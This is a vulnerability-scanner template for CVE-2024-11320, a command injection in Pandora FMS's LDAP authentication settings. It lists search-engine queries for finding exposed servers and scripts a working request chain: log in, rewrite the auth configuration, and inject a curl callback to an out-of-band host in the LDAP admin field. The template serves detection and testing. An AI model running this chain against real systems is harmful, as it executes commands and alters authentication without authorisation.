Pandora v7.0NG.777.3 - Remote Code Execution

id: CVE-2024-11320

info:
  name: Pandora v7.0NG.777.3 - Remote Code Execution
  author: DhiyaneshDK,Shubham Rooter,pdresearch,iamnoooob
  severity: critical
  description: |
    Arbitrary commands execution on the server by exploiting a command injection vulnerability in the LDAP authentication mechanism.This issue affects Pandora FMS- from 700 through <=777.4
  impact: |
    Authenticated attackers can execute arbitrary commands via command injection in the LDAP authentication mechanism, leading to complete system compromise.
  remediation: |
    Upgrade Pandora FMS to version 777.5 or later.
  reference:
    - https://github.com/mhaskar/CVE-2024-11320
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11320
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-11320
    cwe-id: CWE-77
    epss-score: 0.91202
    epss-percentile: 0.99809
    cpe: cpe:2.3:a:pandorafms:pandora_fms:*:*:*:*:*:*:*:*
  metadata:
    vendor: pandorafms
    product: pandora_fms
    shodan-query:
      - http.html:"pandora fms - installation wizard"
      - http.title:"pandora fms"
    fofa-query:
      - body="pandora fms - installation wizard"
      - title="pandora fms"
    google-query: intitle:"pandora fms"
  tags: cve,cve2024,oast,rce,pandora,fms,vuln

flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6)

http:
  - raw:
      - |
        GET /index.php?login=1 HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_code
        group: 1
        regex:
          - 'name="csrf_code" type="hidden"  value="([a-z0-9]+)" \/>'
        internal: true

  - raw:
      - |
        POST /index.php?login=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        nick={{username}}&pass={{password}}&login_button=Let%27s+go&csrf_code={{csrf_code}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(set_cookie, 'PHPSESSID=')
        condition: and
        internal: true

  - raw:
      - |
        GET /index.php?logged=1&sec=general/logon_ok HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body, 'Server health')
        condition: and
        internal: true

  - raw:
      - |
        GET /index.php?sec=general&sec2=godmode/setup/setup&section=auth HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: csrf_code2
        group: 1
        regex:
          - 'name="csrf_code" type="hidden"  value="([a-z0-9]+)" \/>'
        internal: true

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, 'Authentication method</td>', 'LDAP')
        condition: and
        internal: true

  - raw:
      - |
        POST /index.php?sec=general&sec2=godmode/setup/setup&section=auth HTTP/1.1
        Host: {{Hostname}}
        Referer: {{RootURL}}/index.php?sec=general&sec2=godmode/setup/setup&section=auth
        Content-Type: application/x-www-form-urlencoded

        update_config=1&csrf_code={{csrf_code2}}&auth=ldap&fallback_local_auth=1&fallback_local_auth_sent=1&ldap_server=localhost&ldap_port=389&ldap_version=3&ldap_start_tls_sent=1&ldap_base_dn=ou%253DPeople%252Cdc%253Dedu%252Cdc%253Dexample%252Cdc%253Dorg&ldap_login_attr=uid&ldap_admin_login=%27%3bcurl%20xxxxzz.{{interactsh-url}}%20%23&ldap_admin_pass=&ldap_search_timeout=0&secondary_ldap_enabled_sent=1&ldap_server_secondary=localhost&ldap_port_secondary=389&ldap_version_secondary=3&ldap_start_tls_secondary_sent=1&ldap_base_dn_secondary=ou%253DPeople%252Cdc%253Dedu%252Cdc%253Dexample%252Cdc%253Dorg&ldap_login_attr_secondary=uid&ldap_admin_login_secondary=&ldap_admin_pass_secondary=&double_auth_enabled_sent=1&2FA_all_users_sent=1&session_timeout=90&update_button=Update&ldap_function=local

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains(body,'Correctly updated the setup options')
        internal: true
        condition: and

  - raw:
      - |
        GET /index.php?login=1 HTTP/1.1
        Host: {{Hostname}}

    disable-cookie: true

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - dns
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